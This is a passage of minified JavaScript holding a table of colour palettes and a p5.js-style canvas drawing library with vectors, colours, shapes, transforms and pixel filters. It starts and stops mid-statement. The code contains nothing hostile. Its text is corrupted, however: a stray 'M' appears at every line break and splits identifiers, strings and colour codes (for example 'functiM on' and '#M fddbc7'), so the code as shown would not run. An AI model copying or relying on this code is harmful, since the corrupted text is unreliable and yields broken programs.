","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
